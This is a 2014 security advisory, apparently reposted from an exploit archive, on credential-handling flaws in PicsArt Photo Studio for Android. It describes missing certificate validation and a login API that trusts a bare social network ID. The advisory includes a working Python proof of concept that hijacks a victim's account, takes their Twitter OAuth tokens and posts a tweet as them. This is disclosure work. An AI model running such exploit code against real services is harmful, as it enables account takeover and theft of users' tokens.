fZ7kG4RZ

1Insecure management of login credentials in PicsArt Photo Studio for
2Android
3 
41. *Advisory Information*
5 
6Title: Insecure management of login credentials in PicsArt Photo
7Studio for Android
8Advisory ID: STIC-2014-0426
9Advisory URL: http://www.fundacionsadosky.org.ar/publicaciones-2
10Date published: 2014-11-06
11Date of last update: 2014-11-06
12Vendors contacted: PicsArt
13Release mode: Unilateral release
14 
152. *Vulnerability Information*
16 
17Class: Improper Certificate Validation [CWE-295], Insufficiently
18Protected Credentials [CWE-522]
19Impact: Data loss
20Remotely Exploitable: Yes
21Locally Exploitable: Yes
22CVE Identifier: CVE-2014-5674, CVE-2014-NOCVE
23 
243. *Vulnerability Description*
25 
26PicsArt Photo Studio is a free and full featured photo-editing and
27drawing mobile app available on Android, iOS and Windows Phone. As of
28October, 2014 the Android version of the app had between 100 and 500
29million downloads from the Google Play store. According to the vendor
30the app has been installed more than 175 million times, has a 7
31million monthly growth and more than 45 million monthly active
32users[1]. Users can take, edit, publish and share photos on the
33PicsArt website and on popular social networks such as Facebook,
34Twitter and Google+ directly from the mobile app.
35 
36Originally the PicsArt application for Android[2] did not use HTTPS to
37send security-sensitve information to the servers, allowing attackers
38to hijack PicsArt user accounts simply by capturing network traffic.
39After our original report to the vendor in May 2014, the app started
40using HTTPS but it does not validate the server's SSL certificate,
41allowing an attacker to perform Man-In-The-Middle attacks. PicsArt
42user accounts can still be hijacked by capturing the user id sent as
43value of the 'key' parameter in certain HTTPS GET requests.
44 
45Additionally, a user can sign up to PicsArt using her Facebook,
46Twitter or Google+ account or using a standard email and password
47scheme. When the user signs up using a third party social network
48account, the user ID and access token obtained from those social
49networks are sent to the PicsArt servers to identify the user during
50the login phase.
51 
52This implies that the PicsArt servers, not just the PicsArt Photo
53Studio application running on thte user's device, can impersonate the
54user on the social networks. However the PicsArt server API does not
55verify if the user's Google+, Facebook or Twitter access token is
56valid during the login of the Android application. As a result, an
57attacker can send a login request providing only a social network ID
58to obtain the PicsArt's credentials associated to that
59Google+/Facebook/Twitter user. This allows the attacker to obtain
60access to any user account created from a social network account. The
61attacker can also steal access tokens of PicsArt users to third party
62social networks such as Facebook, Twitter, Google+, etc. This issue
63affects all PicsArt user's who access their account via
64Google+/Facebook/Twitter.
65 
664. *Vulnerable packages*
67 
68  . PicsArt Photo Studio for Android application prior or equal to
69version 4.6.12 and greater than 4.6.3 uses HTTPS but does not validate
70the SSL server certificate.
71  . PicsArt Photo Studio for Android application prior to version
724.6.3 and greater than 4.2.2 uses both HTTP and HTTPS and does not
73validate the SSL server certificate.
74  . PicsArt Photo Studio for Android application prior to version
754.2.2 does not use HTTPS to receive and transmit security sensitive data.
76 
775. *Vendor Information, Solutions and Workarounds*
78 
79  After the initial report to the vendor, PicsArt released version
804.2.2. This version started using HTTPS for most, but not all, of the
81server API. Since 4.6.3 there are no API methods that leak the user's
82session key using HTTP. Adding HTTPS communication to the server in
834.2.2 didn't help fixing the problem since the application lacks of
84certificate validation allowing Man-in-the-Middle attacks. Despite
85several notifications sent to PicsArt, the last veersion (4.6.12, as of
86publication of this advisory) is still missing proper certificate
87validation checks.
88 
89  The server API is still missing the validation of the login access
90token.
91 
92  A workaround to prevent attackers from compromising a PicsArt user's
93Facebook, Twitter or Google+ account is to disable the PicsArt
94application access to their profile. From Facebook or Twitter go to
95"Settings|App" and remove PicsArt application from the list of apps.
96For Google+ go to "Account|Security|Apps and websites" and click on
97revoke access on PicsArt application.
98 
99  PicsArt users concerned about their privacy or the security of their
100account should stop using the Andorid application until patches with
101proper SSL certificate validation are issued by the vendor nad the
102Server APIs fixed.
103 
104 
1056. *Credits*
106  This vulnerability was discovered and researched by Joaquín Manuel
107Rinaudo. The publication of this advisory was coordinated by Programa
108de Seguridad en TIC.
109  Will Dormann of CERT/CC independently discovered the SSL certificate
110validation vulnerability using the CERT Tapioca tool.[5]
111 
1127. *Technical Description*
113 
114  A user can sign up to PicsArt using her Facebook[3], Twitter[4] or
115Google+ account or using a standard email and password scheme.
116  When a user signs using a social network, the PicsArt application
117uses the OAuth protocol to communicate with that site.
118  If the user authorizes it, the PicSart application is provided with
119an access token from either Facebook, Twitter or Google+ that can be
120used to retrieve personal information or perform actions on behalf of
121that user.
122 
123  The application then uploads the access token to the PicsArt servers
124along with the ID of that user so that the server can create a new
125account associated to the user. Up to PicsArt version 4.2.2, this
126communication was done entirely over HTTP. An attacker capturing the
127request to 'http://api.picsart.com/users/signin.json' could retrieve
128the access token of Facebook, Twittter and Google+ as well as hijack
129the session token of PicsArt for that user. After our report to
130PicsArt, use of HTTPS was introduced by the vendor in version 4.6.3 in
131an attempt to prevent man-in-the-middle attacks as well as session
132hijacking. Unfortunately, adoption of HTTPS did not fix the problems.
133 
134  In version of the PicsArt Photo Studio app that use HTTPS, the
135socket object used to perform the secure connection uses a custom
136X509TrustManager. The TrustManager's task is to check the certificate
137presented by the server in order to prevent Man-in-the-Middle attacks.
138The class 'com.socialin.android.util.w' sets the default
139SSLsocketFactory used in the application to an empty TrustManager and
140the default HostnameVerifier to a dummy one. Because of that, any
141certificate presented by the server will be considered valid. This
142allows an attacker to mount a MITM attack intercepting traffic,
143creating fake X509 certificates on the fly and submitting them to
144PicsArt's Android application.
145 
146  Moreover, up to version 4.6.3 some requests performed by the
147application were still obtained using HTTP. For example, when a user
148opens the application, a request over HTTP to
149'https://api.picsart.com/users/show/me.json' to obtain user
150information. Since requests that contains the user key as a parameter
151like this are being sent to the server, session hijacking is possible
152by simply capturing traffic. This was fixed in the version 4.6.3.
153 
154  Additional problems were found by inspecting how the PicsArt Photo
155Studio app uses the server API. When a user logs in with a social
156network account using the Android application, a HTTP POST request
157containing the user's access token and other information such as his
158name, user name, mail and a user identifier for the social network is
159sent to the PicsArt servers. The server API doesn't verify whether the
160access token provided is valid for an already created account and
161responds with the user key associated to the provided social network
162ID.  This allows an attacker to obtain access to other user's PicsArt
163account by just knowing their user name on third party social networks.
164 
165  An attacker can also obtain the user's access tokens to third party
166social networks linked  to their profile by requesting the user's
167profile information using the key provided in the previously described
168step. For example, if a user's has her Twitter account linked to her
169PicsArt account, the server's response to the profile information will
170contain the user's OAUTH_TOKEN and OAUTH_TOKEN_SECRET for Twitter.
171  Since the Android's PicsArt application contains the APP_KEY and
172APP_SECRET embedded in the client code, an attacker has all the
173information needed to impersonate the client app and obtain access to
174a user's Twitter. Since the application has read and write permissions
175in that social network, an attacker could perform status updates.
176similar attacks are possible on other social networks such as Facebook
177and Google+.
178 
179 
180  A sample proof-of-concept Python script to demonstrate that, knowing
181only a PicsArt user's Twitter ID, it is possible to retrieve the
182user's key from the PicsArt server API, use it get the user's access
183token for Twitter and then tweet with her/his account is shown below:
184 
185 
186/-----
187import sys
188import urllib
189import urllib2
190from twython import Twython
191import json
192import traceback
193 
194APP_KEY='<PICSART APP APPKEY>'
195APP_SECRET='<PICSART APP SECRET>'
196OAUTH_TOKEN=''
197OAUTH_TOKEN_SECRET=''
198 
199def obtain_key(twitter_id):
200  url = 'https://api.picsart.com/users/signin.json'
201  only_twitter_id =
202'''{"id":"%s","token_secret":"","profile_url":"","screen_name":"","token":"","name":""}'''
203%twitter_id
204  data = 'token=&auth='+ urllib.quote(only_twitter_id)+'&provider=twitter'
205  req = urllib2.Request(url, data)
206  response = urllib2.urlopen(req)
207  jsonobject = json.loads(response.read())
208  return jsonobject['key']
209 
210def obtain_twitter_token(key):
211  url = '''https://api.picsart.com/connections/show/me.json?key=%s''' %key
212  response = urllib2.urlopen(url)
213  data = json.loads(response.read())
214  print data
215  global OAUTH_TOKEN
216  OAUTH_TOKEN = data['response'][0]['token']
217  global OAUTH_TOKEN_SECRET
218  OAUTH_TOKEN_SECRET = data['response'][0]['data']['token_secret']
219 
220def post_on_twitter():
221  twitter = Twython(APP_KEY, APP_SECRET,OAUTH_TOKEN, OAUTH_TOKEN_SECRET)
222  print twitter.verify_credentials()
223  twitter.update_status(status='Using twitter!')
224 
225if __name__ == '__main__':
226  if len(sys.argv) < 1:
227    print "No Twitter ID specified"
228    exit(0)
229  userKey =obtain_key(sys.argv[1])
230  print "User key for accessing user's Picsart account is %s" %userKey
231  try:
232    obtain_twitter_token(userKey)
233    post_on_twitter()
234  except:
235    traceback.print_exc()
236    print "Failed accessing user's Twitter account"
237    pass
238 
239 
240- -----/
241 
242 
2438. *Report Timeline*
244 
245. 2014-05-05:
246Programa de Seguridad en TIC sent the vendor a description of the
247vulnerabilities found: the improper server validation of access tokens
248and the use of unencrypted HTTP communication with the server.
249 
250. 2014-05-07:
251  PicsArt indicated that the problems where already known and that due
252to previous technical problems the application had switched temporary
253to HTTP but that the new release, 4.2.2, HTTPS would be back.
254 
255. 2014-05-07:
256  The researcher communicated to PicsArt about having inspected the
257updated app and that although the communication was HTTPS, certificate
258validation was missing. Furthermore, Programa de Seguridad en TIC
259communicated the vendor that the improper validation of the login
260process was still an issue. The vendor was informed about  a tentative
261date for May 21st set for publishing the advisory.
262 
263. 2014-06-05:
264  After receiving no response, Programa de Seguridad en TIC asked
265PicsArt about plans to fix the issues discussed.
266 
267. 2014-06-05:
268  PicsArt notified that they were releasing a version into beta with
269fixed security and other features but with no explanation as to what
270was being fixed.
271 
272. 2014-09-11:
273  Programade Seguridad en TIC added the Computer Emergency Response
274Team to the conversation since they had also identified and notified
275PicsArt of the SSL certificate validation bug as part of their CERT
276TAPIOCA project [5].
277 
278. 2014-09-11:
279  Vendor assured that a new release (4.6.3) was being deployed where
280the user key was not being transmitted over HTTP in version and that
281they were testing new bug fixes.
282 
283. 2014-09-16:
284  Programa de Seguridad en TIC asked for an estimated release of the
285application and informed to the vendor that the application was using
286an external library to implement their client side API transport ([6])
287and this was one of the sources for the problem of not validating the
288certificates properly since they were explicitly calling library
289methods for skipping the validation process.
290 
291. 2014-09-17:
292  Vendor sent the researcher a new beta version where the external
293library wasn't instructed to avoid validating certificates.
294 
295. 2014-09-18:
296  Programa de Seguridad en TIC notified that the server validation and
297the HTTPS vulnerabilities were still unfixed. The latter was because
298the application was still defining the default SSLSocketFactory and
299HostnameVerifier in an insecure way. Researcher pointed the vendor to
300the class originating this definitions.
301 
302 
303. 2014-11-06:
304  Advisory was released.
305 
3069. *References*
307 
308[1] About PicsArt.
309  http://picsart.com/about
310[2] PicsArt Photo Studio.
311  https://play.google.com/store/apps/details?id=com.picsart.studio
312[3] Facebook Login for Android.
313  https://developers.facebook.com/docs/android/login-with-facebook/v2.2
314[4] Sign in with Twitter.
315  https://dev.twitter.com/web/sign-in
316[5] Vulnerability Note VU#582497. Multiple Android applications fail
317to properly validate SSL certificates.
318  http://www.kb.cert.org/vuls/id/582497
319[6] Java HTTP Request Library.
320  https://github.com/kevinsawicki/http-request
321 
322#  0day.today [2016-07-13]  #